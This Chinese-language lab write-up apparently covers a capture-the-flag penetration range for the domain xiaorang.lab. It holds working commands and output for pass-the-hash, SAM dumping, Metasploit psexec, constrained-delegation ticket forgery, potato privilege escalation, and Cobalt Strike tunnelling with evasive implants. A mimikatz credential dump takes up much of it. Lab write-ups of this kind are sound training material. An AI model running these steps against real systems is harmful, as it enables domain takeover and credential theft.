.__batchFile)/usr/ lib/python3/ dist- packages/cme/ protocols/ winrm.py:324 : SyntaxWarning : invalid escape sequence '\S ' self .conn.execute_cmd("reg save HKLM\SAM C:\\ windows\\ temp\\ SAM && reg save HKLM\SYSTEM C:\\ windows\\ temp\\ SYSTEM" )/usr/ lib/python3/ dist- packages/cme/ protocols/ winrm.py:338 : SyntaxWarning : invalid escape sequence '\S ' self .conn.execute_cmd("reg save HKLM\SECURITY C:\\ windows\\ temp\\ SECURITY && reg save HKLM\SYSTEM C:\\ windows\\ temp\\ SYSTEM" ) [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :445 ... OK [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :445 ... OK [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :135 ... OK SMB 172.22 .8.15 445 DC01 [* ] Windows Server 2022 Build 20348 x64 (name:DC01 ) (domain:xiaorang.lab) (signing:True ) (SMBv1:False ) [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :445 ... OK [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :445 ... OK SMB 172.22 .8.15 445 DC01 [+ ] xiaorang.lab\administrator:2c9d81bdcf3ec8b1def10328a7cc2f08 (Pwn3d !) [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :135 ... OK [proxychains] Strict chain ... 127.0 .0.1 :55556 ... 172.22 .8.15 :50271 ... OK SMB 172.22 .8.15 445 DC01 [+ ] Executed command SMB 172.22 .8.15 445 DC01 _________ __ _ _ SMB 172.22 .8.15 445 DC01 | _ _ | [ | (_ ) / | _ SMB 172.22 .8.15 445 DC01 | _ / | | \_ | .--. .---. | | __ .---. _ .--. `| |- 'SMB 172.22 .8.15 445 DC01 | | ( (`\] / /'`\] | | [ |/ /__\\[ `.-. | | | SMB 172.22.8.15 445 DC01 _| |_ `'.'. | \__. | | | || \__., | | | | | |, SMB 172.22.8.15 445 DC01 |_____| [\__) )'.___.'[___][___]'.__.'[___||__]\__/ SMB 172.22 .8.15 445 DC01 SMB 172.22 .8.15 445 DC01 SMB 172.22 .8.15 445 DC01 Congratulations ! ! ! SMB 172.22 .8.15 445 DC01 SMB 172.22 .8.15 445 DC01 flag03: flag{c2ec4b1e- e463- 4f63- b779- fe8e7d955b4f}
msf psexec 再练一下msf,注意格式问题,不要少0或者没有0
1 2 3 4 5 6 7 8 use exploit/windows/smb/psexecset RHOSTS 172.22.8.15set SMBUser administratorset SMBPass 00000000000000000000000000000000:2c9d81bdcf3ec8b1def10328a7cc2f08set SMBDomain xiaorang.labset PAYLOAD windows/x64/meterpreter/bind_tcpset LPORT 54526 run
impacket smbexec crackmapexec 和impacket-smbexec 本质都是用SMB协议远程认证和执行命令
1 proxychains impacket-smbexec -hashes :2 c 9 d81 bdcf3 ec8 b1 def10328 a7 cc 2 f08 xiaorang.lab/administrator@172 .22.8 .15
约束委派 还可以打约束委派
查询域委派关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 proxychains impacket-findDelegation xiaorang.lab/ Aldrich:'Matrix2025! ' - dc-ip 172.22 .8.15 - target-domain xiaorang.lab proxychains impacket-findDelegation xiaorang.lab/ Aldrich:'Matrix2025! ' - dc-ip 172.22 .8.15 - target-domain xiaorang.lab [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0 .dev0 - Copyright Fortra, LLC and its affiliated companies AccountName AccountType DelegationType DelegationRightsTo SPN Exists - ------------ - ---------- - --------------------------------- - ------------------------------------------------- - --------- WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/xiaorang.lab Yes WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab Yes WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01 Yes WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/XIAORANG Yes WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01/XIAORANG Yes WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/DomainDnsZones.xiaorang.lab Yes WIN2016$ Computer Constrained w/ Protocol Transition ldap/DC01.xiaorang.lab/ForestDnsZones.xiaorang.lab Yes WIN19-CLIENT$ Computer Constrained w/ Protocol Transition cifs/WIN2016.xiaorang.lab No WIN19-CLIENT$ Computer Constrained w/ Protocol Transition cifs/WIN2016 No
存在从 WIN2016$ 到 DC01 的约束委派, 并且委派的是 LDAP 服务
利用 S4U 协议请求 ST 伪造 Administrator 用户
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # 利用委派生成票据 proxychains impacket-getST xiaorang.lab/WIN2016\$ -hashes :29231 c719dc07970ae7a73127417af9a -dc-ip 172.22 .8 .15 -spn ldap/DC01.xiaorang.lab -impersonate administrator proxychains impacket-getST xiaorang.lab/WIN2016\$ -hashes :29231 c719dc07970ae7a73127417af9a -dc-ip 172.22 .8 .15 -spn ldap/DC01.xiaorang.lab -impersonate administrator[proxychains] config file found: /etc/proxychains4.conf[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13 .0 .dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping...[*] Getting TGT for user[proxychains] Strict chain ... 公网IP:55557 ... 172.22 .8 .15 :88 ... OK[proxychains] Strict chain ... 公网IP:55557 ... 172.22 .8 .15 :88 ... OK[*] Impersonating administrator[*] Requesting S4U2self[proxychains] Strict chain ... 公网IP:55557 ... 172.22 .8 .15 :88 ... OK[*] Requesting S4U2Proxy[proxychains] Strict chain ... 公网IP:55557 ... 172.22 .8 .15 :88 ... OK[*] Saving ticket in administrator@ ldap_DC01.xiaorang.lab@ XIAORANG.LAB.ccache
成功获得票据,接下来的思路是利用票据进行 DCSync 导出域管 Hash 之后再去 psexec ,和上面差不多
因为委派的是 LDAP 服务,直接 psexec 或者 wmiexec 过去也行,这里是绕了一个大弯子
cobalt strike 这里我们再用CS过一遍题目。
可以SweetPotato或者PrintSpoofer提权
1 2 3 4 5 C:/迅雷下载/SweetPotato.exe -a whoami C:/迅雷下载/PrintSpoofer.exe -i -c whoami C:/迅雷下载/SweetPotato.exe -a "C:/迅雷下载/windows_x64_agent.exe -l 54522 -s matrix" ./linux_x64_admin -c 39.99 .228.12 :54522 -s matrix
启动CS server
1 ./teamserver 公网IP matrix @Tony5
启动client,并启动监听
这里试试免杀,用掩日
传免杀马,直接执行,或者用甜土豆上一个system权限的CS
1 2 C:/迅雷下载/Qa50.exe C:/迅雷下载/SweetPotato.exe -a "C:/迅雷下载/Qa50.exe"
或者在CS里提权,会多出来几个会话
1 2 shell c:\\users\\public\\SweetPotato.exe -a "C:/迅雷下载/CS51.exe" shell C:/迅雷下载/SweetPotato.exe -a "C:/迅雷下载/CS51.exe"
直接提权也是可以的:getsystem
进程注入 先进入进程列表
然后选择john的进程注入
john上线
1 shell type \\tsclient\c\credential.txt
cs Socks 代理隧道 右击开启代理
选socks5并确定端口
SOCKS代理的启动位置
当你在 CS 的 Teamserver 控制台或客户端界面上选择某个 Beacon 会话(已上线的内网主机)并点击“Start SOCKS”时,SOCKS 代理服务实际上是在 Teamserver(也就是服务器端)上开启的 ,监听一个本地端口(比如 127.0.0.1:1080)。
你本地的各种流量(浏览器、proxychains、nmap等工具)通过 SOCKS5 协议连到 Teamserver(server),Teamserver 再把这些流量通过 Beacon 隧道转发到目标内网主机,再由目标主机访问内网资源,把结果回传给你。
可配置proxychains,应该是vps:55557;
1 sudo vim /etc/proxychains4.conf
然后Kali RDP过去
1 proxychains xfreerdp3 /u:Aldrich /p:Ald@rLMWuy7Z!# /d:xiaorang.lab /v:172.22.8.46 /cert:ignore
Proxifier的话,可以用到什么程序就规定其走代理,或者规定访问什么网段时才走代理,全局的话会影响部分软件,比如tabby的ssh就断了。
配置转发监听器 选择一个会话,进行转发上线
填好host和port
这里我直接选择生成所有了
传过去,执行后门即可
或者可以自己生成,好像只能stageless,配置好接收ip、域之类的就行。
利用劫持执行,拿到system,
利用 logonpasswords 获取凭证:logonpasswords 是 Cobalt Strike 中的一个命令,用于从目标系统中提取登录凭证,包括明文密码、哈希值等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 beacon> logonpasswords [08/12 02:53:55] [*] Process Inject using fork and run. [08/12 02:53:56] [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command [08/12 02:53:56] [+] host called home, sent: 313860 bytes [08/12 02:53:57] [+] received output: Authentication Id : 0 ; 16726317 (00000000:00ff392d) Session : RemoteInteractive from 2 User Name : Aldrich Domain : XIAORANG Logon Server : DC01 Logon Time : 2025/8/12 2:29:01 SID : S-1-5-21-3289074908-3315245560-3429321632-1105 msv : [00000003] Primary * Username : Aldrich * Domain : XIAORANG * NTLM : 9f12c506328bbee07e9a3f4c1a8fb7de * SHA1 : 522a58b4a3f08112273007a218ec89bb7c59bc88 * DPAPI : cb816cb9846399b65e9f663b679af822 tspkg : wdigest : * Username : Aldrich * Domain : XIAORANG * Password : (null) kerberos : * Username : Aldrich * Domain : XIAORANG.LAB * Password : (null) ssp : credman : Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : WIN2016$ Domain : XIAORANG Logon Server : (null) Logon Time : 2025/8/12 1:09:19 SID : S-1-5-20 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 29231c719dc07970ae7a73127417af9a * SHA1 : aebdc1013ae9933e52d4c26de794a307b9833c37 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : win2016$ * Domain : XIAORANG.LAB * Password : 61 19 46 89 f3 bd 3d e6 fd 9f 8a 47 d4 cf 98 da d2 5b 4b b4 34 00 cc fa d0 51 5c 8a a2 2f 13 4e 39 c4 33 68 59 c5 e2 da 2c 22 fa b2 59 2b fa b1 e4 43 ff 67 00 18 c3 81 72 68 39 b3 14 a9 57 31 1b 29 fe 73 7b f0 b6 03 00 e8 92 24 29 ae 16 53 bb 4c 59 28 39 45 9f df 67 00 76 97 bc af 7c b9 c0 68 fa 17 b4 69 7c aa f6 78 ae 67 5b e7 51 e1 40 a5 6e c9 9b 9a 6f 68 01 5d db 47 85 ab be 89 85 38 0a c1 01 b3 1b 77 11 37 c3 0f 04 bd 40 df 94 8d e4 a2 c8 43 f1 21 03 a0 a6 d6 de 09 9a 95 3a d7 78 b9 02 0a 09 cc 0a ff 4a 68 8a 27 88 f9 2c 52 98 27 bc d3 69 33 60 24 e2 ed d7 72 48 39 00 95 71 c0 33 5f 51 68 1d a5 83 63 37 23 b9 d6 3c c8 44 91 fd e0 2c 94 ef 08 28 12 e7 ab 82 c3 fa 06 f1 f8 1f 96 da 97 c0 b1 eb 8e 08 19 e7 80 ssp : credman : Authentication Id : 0 ; 16213507 (00000000:00f76603) Session : Interactive from 2 User Name : DWM-2 Domain : Window Manager Logon Server : (null) Logon Time : 2025/8/12 2:23:22 SID : S-1-5-90-0-2 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 29231c719dc07970ae7a73127417af9a * SHA1 : aebdc1013ae9933e52d4c26de794a307b9833c37 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : 61 19 46 89 f3 bd 3d e6 fd 9f 8a 47 d4 cf 98 da d2 5b 4b b4 34 00 cc fa d0 51 5c 8a a2 2f 13 4e 39 c4 33 68 59 c5 e2 da 2c 22 fa b2 59 2b fa b1 e4 43 ff 67 00 18 c3 81 72 68 39 b3 14 a9 57 31 1b 29 fe 73 7b f0 b6 03 00 e8 92 24 29 ae 16 53 bb 4c 59 28 39 45 9f df 67 00 76 97 bc af 7c b9 c0 68 fa 17 b4 69 7c aa f6 78 ae 67 5b e7 51 e1 40 a5 6e c9 9b 9a 6f 68 01 5d db 47 85 ab be 89 85 38 0a c1 01 b3 1b 77 11 37 c3 0f 04 bd 40 df 94 8d e4 a2 c8 43 f1 21 03 a0 a6 d6 de 09 9a 95 3a d7 78 b9 02 0a 09 cc 0a ff 4a 68 8a 27 88 f9 2c 52 98 27 bc d3 69 33 60 24 e2 ed d7 72 48 39 00 95 71 c0 33 5f 51 68 1d a5 83 63 37 23 b9 d6 3c c8 44 91 fd e0 2c 94 ef 08 28 12 e7 ab 82 c3 fa 06 f1 f8 1f 96 da 97 c0 b1 eb 8e 08 19 e7 80 ssp : credman : Authentication Id : 0 ; 16213484 (00000000:00f765ec) Session : Interactive from 2 User Name : DWM-2 Domain : Window Manager Logon Server : (null) Logon Time : 2025/8/12 2:23:22 SID : S-1-5-90-0-2 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 29231c719dc07970ae7a73127417af9a * SHA1 : aebdc1013ae9933e52d4c26de794a307b9833c37 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : 61 19 46 89 f3 bd 3d e6 fd 9f 8a 47 d4 cf 98 da d2 5b 4b b4 34 00 cc fa d0 51 5c 8a a2 2f 13 4e 39 c4 33 68 59 c5 e2 da 2c 22 fa b2 59 2b fa b1 e4 43 ff 67 00 18 c3 81 72 68 39 b3 14 a9 57 31 1b 29 fe 73 7b f0 b6 03 00 e8 92 24 29 ae 16 53 bb 4c 59 28 39 45 9f df 67 00 76 97 bc af 7c b9 c0 68 fa 17 b4 69 7c aa f6 78 ae 67 5b e7 51 e1 40 a5 6e c9 9b 9a 6f 68 01 5d db 47 85 ab be 89 85 38 0a c1 01 b3 1b 77 11 37 c3 0f 04 bd 40 df 94 8d e4 a2 c8 43 f1 21 03 a0 a6 d6 de 09 9a 95 3a d7 78 b9 02 0a 09 cc 0a ff 4a 68 8a 27 88 f9 2c 52 98 27 bc d3 69 33 60 24 e2 ed d7 72 48 39 00 95 71 c0 33 5f 51 68 1d a5 83 63 37 23 b9 d6 3c c8 44 91 fd e0 2c 94 ef 08 28 12 e7 ab 82 c3 fa 06 f1 f8 1f 96 da 97 c0 b1 eb 8e 08 19 e7 80 ssp : credman : Authentication Id : 0 ; 995 (00000000:000003e3) Session : Service from 0 User Name : IUSR Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2025/8/12 1:09:23 SID : S-1-5-17 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : ssp : credman : Authentication Id : 0 ; 997 (00000000:000003e5) Session : Service from 0 User Name : LOCAL SERVICE Domain : NT AUTHORITY Logon Server : (null) Logon Time : 2025/8/12 1:09:20 SID : S-1-5-19 msv : tspkg : wdigest : * Username : (null) * Domain : (null) * Password : (null) kerberos : * Username : (null) * Domain : (null) * Password : (null) ssp : credman : Authentication Id : 0 ; 54488 (00000000:0000d4d8) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2025/8/12 1:09:20 SID : S-1-5-90-0-1 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 4ba974f170ab0fe1a8a1eb0ed8f6fe1a * SHA1 : e06238ecefc14d675f762b08a456770dc000f763 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : 9e ae c4 7a ed ee 91 74 a5 59 61 a5 00 2c c5 00 60 3b 87 48 d0 17 48 cf df 7b 14 af 9a 99 22 b5 94 ba 0a 1e f0 6e f0 25 b1 e2 a2 62 fb b8 68 93 42 64 08 b7 f6 2e f7 cf ae a3 7a 94 9d 32 24 1a b1 6b 87 6c 5e f1 d3 89 c6 c4 8b d3 bd 05 9c b0 e1 85 d4 2c 03 56 5f af 09 15 12 10 df 74 e7 4c d3 65 55 d8 ab bd b4 71 5c 8c a7 bd 14 60 8b 44 b5 d8 d8 61 23 f1 4f 4d 8e a0 dc ac 8a 60 15 0d f7 9f a1 85 98 c4 cf 34 ec ee ea c5 b9 5b 42 8b 97 cc 4d ed 1f db 8c b4 45 06 ce 40 fc 81 96 ac c3 61 e5 e9 42 90 69 f3 b2 85 fa 80 59 e2 8b a5 f6 70 5d 1a bd 5f b1 85 6b ae b0 16 42 29 2c 99 57 fb 49 ea e3 29 49 56 55 6c 9a 2b ee 13 77 fe d7 a3 51 b8 01 ec bb 60 22 b8 7c 2f f5 6b 0f 6b 87 36 76 45 81 7e e3 71 0a a8 ca 2a a3 a6 05 64 ssp : credman : Authentication Id : 0 ; 54458 (00000000:0000d4ba) Session : Interactive from 1 User Name : DWM-1 Domain : Window Manager Logon Server : (null) Logon Time : 2025/8/12 1:09:20 SID : S-1-5-90-0-1 msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 29231c719dc07970ae7a73127417af9a * SHA1 : aebdc1013ae9933e52d4c26de794a307b9833c37 tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : WIN2016$ * Domain : xiaorang.lab * Password : 61 19 46 89 f3 bd 3d e6 fd 9f 8a 47 d4 cf 98 da d2 5b 4b b4 34 00 cc fa d0 51 5c 8a a2 2f 13 4e 39 c4 33 68 59 c5 e2 da 2c 22 fa b2 59 2b fa b1 e4 43 ff 67 00 18 c3 81 72 68 39 b3 14 a9 57 31 1b 29 fe 73 7b f0 b6 03 00 e8 92 24 29 ae 16 53 bb 4c 59 28 39 45 9f df 67 00 76 97 bc af 7c b9 c0 68 fa 17 b4 69 7c aa f6 78 ae 67 5b e7 51 e1 40 a5 6e c9 9b 9a 6f 68 01 5d db 47 85 ab be 89 85 38 0a c1 01 b3 1b 77 11 37 c3 0f 04 bd 40 df 94 8d e4 a2 c8 43 f1 21 03 a0 a6 d6 de 09 9a 95 3a d7 78 b9 02 0a 09 cc 0a ff 4a 68 8a 27 88 f9 2c 52 98 27 bc d3 69 33 60 24 e2 ed d7 72 48 39 00 95 71 c0 33 5f 51 68 1d a5 83 63 37 23 b9 d6 3c c8 44 91 fd e0 2c 94 ef 08 28 12 e7 ab 82 c3 fa 06 f1 f8 1f 96 da 97 c0 b1 eb 8e 08 19 e7 80 ssp : credman : Authentication Id : 0 ; 25403 (00000000:0000633b) Session : UndefinedLogonType from 0 User Name : (null) Domain : (null) Logon Server : (null) Logon Time : 2025/8/12 1:09:19 SID : msv : [00000003] Primary * Username : WIN2016$ * Domain : XIAORANG * NTLM : 29231c719dc07970ae7a73127417af9a * SHA1 : aebdc1013ae9933e52d4c26de794a307b9833c37 tspkg : wdigest : kerberos : ssp : credman : Authentication Id : 0 ; 999 (00000000:000003e7) Session : UndefinedLogonType from 0 User Name : WIN2016$ Domain : XIAORANG Logon Server : (null) Logon Time : 2025/8/12 1:09:19 SID : S-1-5-18 msv : tspkg : wdigest : * Username : WIN2016$ * Domain : XIAORANG * Password : (null) kerberos : * Username : win2016$ * Domain : XIAORANG.LAB * Password : (null) ssp : credman :
参考文献 https://zhuanlan.zhihu.com/p/616582468
https://zer0peach.github.io/2024/11/28/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-Tsclient/#%E7%BB%A7%E7%BB%AD-1
https://www.freebuf.com/articles/system/352237.html
https://www.cnblogs.com/kingbridge/articles/17645128.html#%E9%9D%9E%E9%A2%84%E6%9C%9F
https://exp10it.io/2023/07/chunqiuyunjing-tsclient-writeup/#flag02
https://mashiro726.github.io/2025/02/11/Tsclient/#
https://blog.q1ngchuan.top/2024/08/18/%E6%B8%97%E9%80%8F/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9CTsclient/index.html
https://www.cnblogs.com/shinnylbz/p/18360541